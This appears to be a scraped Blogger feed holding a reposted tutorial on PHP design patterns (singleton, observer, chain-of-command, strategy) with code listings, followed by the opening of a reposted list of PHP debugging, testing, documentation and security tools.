&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;&lt;!--?php
require_once(&quot;DB.php&quot;);

class DatabaseConnection
{
  public static function get()
  {
    static $db = null;
    if ( $db == null )
      $db = new DatabaseConnection();
    return $db;
  }

  private $_handle = null;

  private function __construct()
  {
    $dsn = &#39;mysql://root:password@localhost/photos&#39;;
    $this---&gt;_handle =&amp;amp; DB::Connect( $dsn, array() );
  }
  
  public function handle()
  {
    return $this-&amp;gt;_handle;
  }
}

print( &quot;Handle = &quot;.DatabaseConnection::get()-&amp;gt;handle().&quot;\n&quot; );
print( &quot;Handle = &quot;.DatabaseConnection::get()-&amp;gt;handle().&quot;\n&quot; );
?&amp;gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
This code shows a single class called &lt;code&gt;DatabaseConnection&lt;/code&gt;. You can&#39;t create your own &lt;code&gt;DatabaseConnection&lt;/code&gt; because the constructor is private. But you can get the one and only one &lt;code&gt;DatabaseConnection&lt;/code&gt; object using the static &lt;code&gt;get&lt;/code&gt; method. The UML for this code is shown in Figure 3.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;fig3&quot;&gt;&lt;b&gt;Figure 3. The database connection singleton&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
&lt;img alt=&quot;The database connection singleton&quot; height=&quot;41&quot; src=&quot;http://www.ibm.com/developerworks/library/os-php-designptrns/singleton.gif&quot; width=&quot;165&quot; /&gt;             &lt;br /&gt;
&lt;br /&gt;
The proof in the pudding is that the database handle returned by the &lt;code&gt;handle&lt;/code&gt; method is the same between two calls. You can see this by running the code on the command line.&lt;br /&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;% php singleton.php 
Handle = Object id #3
Handle = Object id #3
%
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
The two handles returned are the same object. If you use  the database connection singleton across the application, you reuse the  same handle everywhere.&lt;br /&gt;
You could use a global variable to store the database  handle, but that approach only works for small applications. In larger  applications, avoid globals, and go with objects and methods to get  access to resources.&lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;N10177&quot;&gt;&lt;span class=&quot;atitle&quot;&gt;The observer pattern&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
The observer pattern gives you another way to avoid tight  coupling between components. This pattern is simple: One object makes  itself observable by adding a method that allows another object, the &lt;i&gt;observer&lt;/i&gt;,  to register itself. When the observable object changes, it sends a  message to the registered observers. What those observers do with that  information isn&#39;t relevant or important to the observable object. The  result is a way for objects to talk with each other without necessarily  understanding why.&lt;br /&gt;
A simple example is a list of users in a system. The code  in Listing 4 shows a user list that sends out a message when users are  added. This list is watched by a logging observer that puts out a  message when a user is added.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;listing4&quot;&gt;&lt;b&gt;Listing 4. Observer.php&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;&lt;!--?php
interface IObserver
{
  function onChanged( $sender, $args );
}

interface IObservable
{
  function addObserver( $observer );
}

class UserList implements IObservable
{
  private $_observers = array();

  public function addCustomer( $name )
  {
    foreach( $this---&gt;_observers as $obs )
      $obs-&amp;gt;onChanged( $this, $name );
  }

  public function addObserver( $observer )
  {
    $this-&amp;gt;_observers []= $observer;
  }
}

class UserListLogger implements IObserver
{
  public function onChanged( $sender, $args )
  {
    echo( &quot;&#39;$args&#39; added to user list\n&quot; );
  }
}

$ul = new UserList();
$ul-&amp;gt;addObserver( new UserListLogger() );
$ul-&amp;gt;addCustomer( &quot;Jack&quot; );
?&amp;gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
This code defines four elements: two interfaces and two classes. The &lt;code&gt;IObservable&lt;/code&gt; interface defines an object that can be observed, and the &lt;code&gt;UserList&lt;/code&gt; implements that interface to register itself as observable. The &lt;code&gt;IObserver&lt;/code&gt; list defines what it takes to be an observer, and the &lt;code&gt;UserListLogger&lt;/code&gt; implements that &lt;code&gt;IObserver&lt;/code&gt; interface. This is shown in the UML in Figure 4.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;fig4&quot;&gt;&lt;b&gt;Figure 4. The observable user list and the user list event logger&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
&lt;img alt=&quot;The observable user list and the user list event logger&quot; height=&quot;99&quot; src=&quot;http://www.ibm.com/developerworks/library/os-php-designptrns/observer.gif&quot; width=&quot;414&quot; /&gt;             &lt;br /&gt;
&lt;br /&gt;
If you run this on the command line, you see this output:&lt;br /&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;% php observer.php 
&#39;Jack&#39; added to user list
%
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
The test code creates a &lt;code&gt;UserList&lt;/code&gt; and adds the &lt;code&gt;UserListLogger&lt;/code&gt; observer to it. Then the code adds a customer, and the &lt;code&gt;UserListLogger&lt;/code&gt; is notified of that change.&lt;br /&gt;
It&#39;s critical to realize that the &lt;code&gt;UserList&lt;/code&gt;  doesn&#39;t know what the logger is going to do. There could be one or more  listeners that do other things. For example, you may have an observer  that sends a message to the new user, welcoming him to the system. The  value of this approach is that the &lt;code&gt;UserList&lt;/code&gt; is ignorant of  all the objects depending on it; it focuses on its job of maintaining  the user list and sending out messages when the list changes.&lt;br /&gt;
This pattern isn&#39;t limited to objects in memory. It&#39;s the  underpinning of the database-driven message queuing systems used in  larger applications.&lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;N101DE&quot;&gt;&lt;span class=&quot;atitle&quot;&gt;The chain-of-command pattern&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
Building on the loose-coupling theme, the &lt;i&gt;chain-of-command&lt;/i&gt;  pattern routes a message, command, request, or whatever you like  through a set of handlers. Each handler decides for itself whether it  can handle the request. If it can, the request is handled, and the  process stops. You can add or remove handlers from the system without  influencing other handlers. Listing 5 shows an example of this pattern.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;listing5&quot;&gt;&lt;b&gt;Listing 5. Chain.php&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;&lt;!--?php
interface ICommand
{
  function onCommand( $name, $args );
}

class CommandChain
{
  private $_commands = array();

  public function addCommand( $cmd )
  {
    $this---&gt;_commands []= $cmd;
  }

  public function runCommand( $name, $args )
  {
    foreach( $this-&amp;gt;_commands as $cmd )
    {
      if ( $cmd-&amp;gt;onCommand( $name, $args ) )
        return;
    }
  }
}

class UserCommand implements ICommand
{
  public function onCommand( $name, $args )
  {
    if ( $name != &#39;addUser&#39; ) return false;
    echo( &quot;UserCommand handling &#39;addUser&#39;\n&quot; );
    return true;
  }
}

class MailCommand implements ICommand
{
  public function onCommand( $name, $args )
  {
    if ( $name != &#39;mail&#39; ) return false;
    echo( &quot;MailCommand handling &#39;mail&#39;\n&quot; );
    return true;
  }
}

$cc = new CommandChain();
$cc-&amp;gt;addCommand( new UserCommand() );
$cc-&amp;gt;addCommand( new MailCommand() );
$cc-&amp;gt;runCommand( &#39;addUser&#39;, null );
$cc-&amp;gt;runCommand( &#39;mail&#39;, null );
?&amp;gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
This code defines a &lt;code&gt;CommandChain&lt;/code&gt; class that maintains a list of &lt;code&gt;ICommand&lt;/code&gt; objects. Two classes implement the &lt;code&gt;ICommand&lt;/code&gt; interface -- one that responds to requests for mail and another that responds to adding users. The UML is shows in Figure 5.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;fig5&quot;&gt;&lt;b&gt;Figure 5. The command chain and its related commands&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
&lt;img alt=&quot;The command chain and its related commands&quot; height=&quot;121&quot; src=&quot;http://www.ibm.com/developerworks/library/os-php-designptrns/chain.gif&quot; width=&quot;359&quot; /&gt;             &lt;br /&gt;
&lt;br /&gt;
If you run the script, which contains some test code, you see the following output:&lt;br /&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;% php chain.php 
UserCommand handling &#39;addUser&#39;
MailCommand handling &#39;mail&#39;
%
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
The code first creates a &lt;code&gt;CommandChain&lt;/code&gt; object  and adds instances of the two command objects to it. It then runs two  commands to see who responds to those commands. If the name of the  command matches either &lt;code&gt;UserCommand&lt;/code&gt; or &lt;code&gt;MailCommand&lt;/code&gt;, the code falls through and nothing happens.&lt;br /&gt;
The chain-of-command pattern can be valuable in creating  an extensible architecture for processing requests, which can be applied  to many problems. &lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;N1022F&quot;&gt;&lt;span class=&quot;atitle&quot;&gt;The strategy pattern&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
The last design pattern we will cover is the &lt;i&gt;strategy&lt;/i&gt;  pattern. In this pattern, algorithms are extracted from complex classes  so they can be replaced easily. For example, the strategy pattern is an  option if you want to change the way pages are ranked in a search  engine. Think about a search engine in several parts -- one that  iterates through the pages, one that ranks each page, and another that  orders the results based on the rank. In a complex example, all those  parts would be in the same class. Using the strategy pattern, you take  the ranking portion and put it into another class so you can change how  pages are ranked without interfering with the rest of the search engine  code.&lt;br /&gt;
As a simpler example, Listing 6 shows a user list class  that provides a method for finding a set of users based on a  plug-and-play set of strategies. &lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;listing6&quot;&gt;&lt;b&gt;Listing 6. Strategy.php&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;&lt;!--?php
interface IStrategy
{
  function filter( $record );
}

class FindAfterStrategy implements IStrategy
{
  private $_name;

  public function __construct( $name )
  {
    $this---&gt;_name = $name;
  }

  public function filter( $record )
  {
    return strcmp( $this-&amp;gt;_name, $record ) &amp;lt;= 0;
  }
}

class RandomStrategy implements IStrategy
{
  public function filter( $record )
  {
    return rand( 0, 1 ) &amp;gt;= 0.5;
  }
}

class UserList
{
  private $_list = array();

  public function __construct( $names )
  {
    if ( $names != null )
    {
      foreach( $names as $name )
      {
        $this-&amp;gt;_list []= $name;
      }
    }
  }

  public function add( $name )
  {
    $this-&amp;gt;_list []= $name;
  }

  public function find( $filter )
  {
    $recs = array();
    foreach( $this-&amp;gt;_list as $user )
    {
      if ( $filter-&amp;gt;filter( $user ) )
        $recs []= $user;
    }
    return $recs;
  }
}

$ul = new UserList( array( &quot;Andy&quot;, &quot;Jack&quot;, &quot;Lori&quot;, &quot;Megan&quot; ) );
$f1 = $ul-&amp;gt;find( new FindAfterStrategy( &quot;J&quot; ) );
print_r( $f1 );

$f2 = $ul-&amp;gt;find( new RandomStrategy() );
print_r( $f2 );
?&amp;gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
The UML for this code is shown in Figure 6.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;fig6&quot;&gt;&lt;b&gt;Figure 6. The user list and the strategies for selecting users&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
&lt;img alt=&quot;The user list and the strategies for selecting users&quot; height=&quot;138&quot; src=&quot;http://www.ibm.com/developerworks/library/os-php-designptrns/strategy.gif&quot; width=&quot;309&quot; /&gt;             &lt;br /&gt;
&lt;br /&gt;
The &lt;code&gt;UserList&lt;/code&gt; class is a wrapper around an array of names. It implements a &lt;code&gt;find&lt;/code&gt; method that takes one of several strategies for selecting a subset of those names. Those strategies are defined by the &lt;code&gt;IStrategy&lt;/code&gt;  interface, which has two implementations: One chooses users randomly  and the other chooses all the names after a specified name. When you run  the test code, you get the following output:&lt;br /&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;code-outline&quot;&gt;&lt;pre class=&quot;displaycode&quot;&gt;% php strategy.php 
Array
(
    [0] =&amp;gt; Jack
    [1] =&amp;gt; Lori
    [2] =&amp;gt; Megan
)
Array
(
    [0] =&amp;gt; Andy
    [1] =&amp;gt; Megan
)
%
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
The test code runs the same user lists against two  strategies and shows the results. In the first case, the strategy looks  for any name that sorts after &lt;code&gt;J&lt;/code&gt;, so you get Jack, Lori, and  Megan. The second strategy picks names randomly and yields different  results every time. In this case, the results are Andy and Megan.&lt;br /&gt;
The strategy pattern is great for complex data-management  systems or data-processing systems that need a lot of flexibility in  how data is filtered, searched, or processed.&lt;br /&gt;
&lt;a href=&quot;&quot; name=&quot;N1027B&quot;&gt;&lt;span class=&quot;atitle&quot;&gt;Conclusions&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
These are just a few of the most common design patterns used in PHP applications. Many more are demonstrated in the &lt;i&gt;Design Patterns&lt;/i&gt;  book. Don&#39;t be put off by the mystique of architecture. Patterns are  great ideas you can use in any programming language and at any skill  level.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/8022661579285837441/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2012/01/five-common-php-design-patterns.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/8022661579285837441'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/8022661579285837441'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2012/01/five-common-php-design-patterns.html' title='Five common PHP design patterns'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-1361198060934866792</id><published>2012-01-01T03:55:00.000-08:00</published><updated>2012-01-01T03:55:04.274-08:00</updated><title type='text'>50 Extremely Useful PHP Tools</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;h2&gt;&lt;a href=&quot;http://coding.smashingmagazine.com/2009/01/20/50-extremely-useful-php-tools/&quot;&gt;&lt;/a&gt;&lt;/h2&gt;&lt;strong&gt;PHP&lt;/strong&gt; is one of the most widely used open-source  server-side scripting languages that exist today. With over 20 million  indexed domains using PHP, including major websites like Facebook, Digg  and WordPress, there are good reasons why many Web developers prefer it  to other server-side scripting languages, such as Python and Ruby. &lt;a href=&quot;http://shootout.alioth.debian.org/gp4/benchmark.php?test=all&amp;amp;lang=php&amp;amp;lang2=ruby&quot;&gt;PHP is faster&lt;/a&gt; (&lt;em&gt;updated&lt;/em&gt;), and it is &lt;a href=&quot;http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html&quot;&gt;the most used scripting language&lt;/a&gt;  in practice; it has detailed documentation, a huge community, numerous  ready-to-use scripts and well-supported frameworks; and most  importantly, it’s much easier to get started with PHP than with other  scripting languages (Python, for example). That’s why it makes perfect  sense to provide the huge community of PHP developers with an overview  of useful tools and resources that can make their development process  easier and more effective.&lt;br /&gt;
This post presents &lt;strong&gt;50 useful PHP tools that can significantly improve your programming workflow&lt;/strong&gt;.  Among other things, you’ll find a plethora of libraries and classes  that aid in debugging, testing, profiling and code-authoring in PHP.&lt;br /&gt;
You may also want to take a look at the following related posts:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.smashingmagazine.com/2008/12/09/50-really-useful-css-tools/&quot;&gt;50 Extremely Useful And Powerful CSS Tools&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.smashingmagazine.com/2008/11/18/15-helpful-in-browser-web-development-tools/&quot;&gt;15 Helpful In-Browser Web-Development Tools&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div id=&quot;textadtarget&quot;&gt;&lt;div id=&quot;textad&quot;&gt;[&lt;strong&gt;Editor&#39;s note&lt;/strong&gt;: Have you already got your copy of the &lt;em&gt;Smashing Book #2&lt;/em&gt;? The book shares valuable practical insight into design, usability and coding. &lt;a href=&quot;http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?oaparams=2__bannerid=2862__zoneid=68__OXLCA=1__cb=ebd5600445__oadest=https%3A%2F%2Fshop.smashingmagazine.com%2Fsmashing-book-2.html%3Fpk_campaign%3Dsmashing-book-2%26pk_kwd%3Dsm-ta-01&quot; target=&quot;_self&quot;&gt;Have a look at the contents&lt;/a&gt;.]&lt;div id=&quot;beacon_ebd5600445&quot; style=&quot;left: 0px; position: absolute; top: 0px; visibility: hidden;&quot;&gt;&lt;img alt=&quot;&quot; height=&quot;0&quot; src=&quot;http://auslieferung.commindo-media-ressourcen.de/www/delivery/lg.php?bannerid=2862&amp;amp;campaignid=1018&amp;amp;zoneid=68&amp;amp;loc=1&amp;amp;referer=http%3A%2F%2Fcoding.smashingmagazine.com%2F2009%2F01%2F20%2F50-extremely-useful-php-tools%2F&amp;amp;cb=ebd5600445&quot; style=&quot;height: 0px; width: 0px;&quot; width=&quot;0&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;Debugging Tools&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/webgrind/&quot;&gt;Webgrind&lt;/a&gt;&lt;br /&gt;
Webgrind is an &lt;a href=&quot;http://www.xdebug.org/&quot;&gt;Xdebug&lt;/a&gt; profiling Web front end in PHP 5. It implements a subset of the features of &lt;a href=&quot;http://kcachegrind.sourceforge.net/cgi-bin/show.cgi&quot;&gt;kcachegrind&lt;/a&gt;, installs in seconds and works on all platforms. For quick ‘n’ dirty optimizations, it does the job. &lt;a href=&quot;http://code.google.com/p/webgrind/&quot;&gt;&lt;img alt=&quot;Webgrind&quot; height=&quot;413&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/webgrind.jpg&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://xdebug.org/index.php&quot;&gt;Xdebug&lt;/a&gt;&lt;br /&gt;
Xdebug is one of  the most popular debugging PHP extensions. It provides a ton of useful  data to help you quickly find bugs in your source code. Xdebug plugs  right into many of the most popular PHP applications, such as PHPEclipse  and phpDesigner.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://gubed.mccabe.nu/&quot;&gt;Gubed PHP Debugger&lt;/a&gt;&lt;br /&gt;
As the name implies, Gubed PHP Debugger is a PHP debugging tool for hunting down logic errors.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.php-debugger.com/dbg/&quot;&gt;DBG&lt;/a&gt;&lt;br /&gt;
DBG is a  robust and popular PHP debugger for use in local and remote PHP  debugging. It plugs into numerous PHP IDE’s and can easily be used with  the command line.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.php-debug.com/www/&quot;&gt;PHP_Debug&lt;/a&gt;&lt;br /&gt;
PHP_Debug  is an open-source project that gives you useful information about your  PHP code that can be used for debugging. It can output processing times  of your PHP and SQL, check the performance of particular code blocks and  get variable dumps in graphical form, which is great if you need a more  visual output than the one given to you by print_r() or var_dump().&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/php-dyn/&quot;&gt;PHP_Dyn&lt;/a&gt;&lt;br /&gt;
PHP_Dyn  is another excellent PHP debugging tool that’s open-source. You can  trace execution and get an output of the argument and return values of  your functions.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.bluestatic.org/software/macgdbp/&quot;&gt;MacGDBp&lt;/a&gt;&lt;br /&gt;
MacGDBp  is a live PHP debugger application for the Mac OS. It has all the  features you’d expect from a fully featured debugger, such as the  ability to step through your code and set breakpoints.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Testing and Optimization Tools&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.phpunit.de/&quot;&gt;PHPUnit&lt;/a&gt;&lt;br /&gt;
PHPUnit is a complete port of the popular &lt;a href=&quot;http://www.junit.org/&quot;&gt;JUnit&lt;/a&gt;  unit testing suite to PHP 5. It’s a tool that helps you test your Web  application’s stability and scalability. Writing test cases within the  PHPUnit framework is easy; here’s &lt;a href=&quot;http://www.phpunit.de/manual/current/en/writing-tests-for-phpunit.html&quot;&gt;how to do it&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.simpletest.org/&quot;&gt;SimpleTest&lt;/a&gt;&lt;br /&gt;
SimpleTest is  a straightforward unit-testing platform for PHP applications. To get up  and running with SimpleTest quickly, read through this pragmatic &lt;a href=&quot;http://www.simpletest.org/en/first_test_tutorial.html&quot;&gt;tutorial&lt;/a&gt; that shows you how to create a new test case. &lt;a href=&quot;http://www.simpletest.org/&quot;&gt;&lt;img alt=&quot;Simpletest&quot; height=&quot;152&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/simpletest.gif&quot; width=&quot;349&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://selenium-rc.openqa.org/&quot;&gt;Selenium&lt;/a&gt;&lt;br /&gt;
Selenium  Remote Control (RC) is a test tool that allows you to write automated  Web application UI tests in any programming language against any HTTP  website using any mainstream JavaScript-enabled browser. It  can be used  in conjunction with PHPUnit to create and run automated tests within a  Web browser.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://matrix.squiz.net/developer/tools/php_cs&quot;&gt;PHP_CodeSniffer&lt;/a&gt;&lt;br /&gt;
PHP_CodeSniffer  is a PHP 5 script for detecting conformance to a predefined PHP coding  standard. It’s a helpful tool for maintaining uniform coding styles for  large projects and teams.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://dbug.ospinto.com/&quot;&gt;dBug&lt;/a&gt;&lt;br /&gt;
dBug is ColdFusion’s &lt;a href=&quot;http://livedocs.adobe.com/coldfusion/6.1/htmldocs/tags-p21.htm&quot;&gt;cfDump&lt;/a&gt;  for PHP. It’s a simple tool for outputting data tables that contain  information about arrays, classes and objects, database resources and  XML resources, making it very useful for debugging purposes. &lt;a href=&quot;http://dbug.ospinto.com/&quot;&gt;&lt;img alt=&quot;dBug - Screenshot&quot; height=&quot;363&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/11_dbug.jpg&quot; width=&quot;306&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.coderholic.com/php-profile-class/&quot;&gt;PHP Profile Class&lt;/a&gt;&lt;br /&gt;
PHP  Profile Class is an excellent PHP profiling tool for your Web  applications. Using this class will help you quickly and easily gain  insight into which parts of your app could use some refactoring and  optimization.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Documentation Tools&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://phpdoc.org/&quot;&gt;phpDocumentor&lt;/a&gt;&lt;br /&gt;
phpDocumentor  (also known as phpdoc and phpdocu) is a documentation tool for your PHP  source code. It has an innumerable amount of features, including the  ability to output in HTML, PDF, CHM and XML DocBook formats, and has  both a Web-based and command-line interface as well as source-code  highlighting. To learn more about phpDocumentor, check out the &lt;a href=&quot;http://www.phpdoc.org/manual.php&quot;&gt;online manual&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://phpdox.net/&quot;&gt;PHP DOX&lt;/a&gt;&lt;br /&gt;
An AJAX-powered PHP documentation search engine that enables you to search titles from all PHP documentation pages.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Security Tools&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.phpcaptcha.org/&quot;&gt;Securimage&lt;/a&gt;&lt;br /&gt;
Securimage is  a free, open-source PHP CAPTCHA script for generating complex images  and CAPTCHA codes to protect forms from spam and abuse.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://trac.anl.gov/scavenger/wiki/WikiStart&quot;&gt;Scavenger&lt;/a&gt;&lt;br /&gt;
Scavenger  is an open-source, real-time vulnerability management tool. It helps  system administrators respond to vulnerability findings, track  vulnerability findings and review accepted and false-positive answered  vulnerabilities, without “nagging” them with old vulnerabilities.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://php-ids.org/&quot;&gt;PHP-IDS&lt;/a&gt;&lt;br /&gt;
PHP-IDS (PHP-Intrusion  Detection System) is a simple-to-use, well-structured, fast and  state-of-the-art security layer for your PHP-based Web application.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.evaria.com/2007/pixy-the-php-security-scanner/&quot;&gt;Pixy: PHP Security Scanner&lt;/a&gt;&lt;br /&gt;
Pixy  is a Java program that performs automatic scans of PHP 4 source code,  aimed to detect XSS and SQL injection vulnerabilities. Pixy takes a PHP  program as input and creates a report that lists possible vulnerable  points in the program, along with additional information for  understanding the vulnerability.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Image Manipulation and Graphs&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.maani.us/charts4/&quot;&gt;PHP/SWF Charts&lt;/a&gt;&lt;br /&gt;
PHP/SWF  Charts is a powerful PHP tool that enables you to create attractive Web  charts and graphs from dynamic data. You can use PHP scripts to  generate and gather data from databases, then pass it to this tool to  generate Flash (SWF) charts and graphs.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://pchart.sourceforge.net/index.php&quot;&gt;pChart – a chart-drawing PHP library&lt;/a&gt;&lt;br /&gt;
pChart  is a PHP class-oriented framework designed to create aliased charts.  Most of today’s chart libraries have a cost; this one is free. Data can  be retrieved from SQL queries or CSV files or can be manually provided. &lt;a href=&quot;http://simplepie.org/&quot;&gt;&lt;img alt=&quot;Chart - Screenshot&quot; height=&quot;234&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/chart.gif&quot; width=&quot;496&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://wideimage.sourceforge.net/wiki/MainPage&quot;&gt;WideImage&lt;/a&gt;&lt;br /&gt;
WideImage  is a PHP library for dynamic image manipulation and processing for PHP  5. To be able to use the library, you should have the &lt;a href=&quot;http://us2.php.net/gd&quot;&gt;GD PHP extension&lt;/a&gt; installed on your Web server.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.magickwand.org/&quot;&gt;MagickWand For PHP&lt;/a&gt;&lt;br /&gt;
MagickWand For PHP is a PHP module suite for working with the &lt;a href=&quot;http://www.imagemagick.org/script/index.php&quot;&gt;ImageMagick&lt;/a&gt;  API, which lets you create, compose and edit bitmap images. It’s a  useful tool for quickly incorporating image-editing features in your PHP  applications.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;PHP Code Beautifier&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://pear.php.net/package/PHP_Beautifier&quot;&gt;PHP_Beautifier&lt;/a&gt;&lt;br /&gt;
PHP Beautifier is a PEAR package for automatically formatting and “beautifying” PHP 4 and PHP 5 source code.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.waterproof.fr/products/phpCodeBeautifier/&quot;&gt;PHPCodeBeautifier&lt;/a&gt;&lt;br /&gt;
PHPCodeBeautifier  is a tool that saves you from hours of reformatting code to suit your  own way of presenting it. A GUI version allows you to process files  visually; a command-line version can be batched or integrated with other  tools (like CVS, SubVersion, IDE, etc.); and there is also an  integrated tool of PHPEdit.&lt;/li&gt;
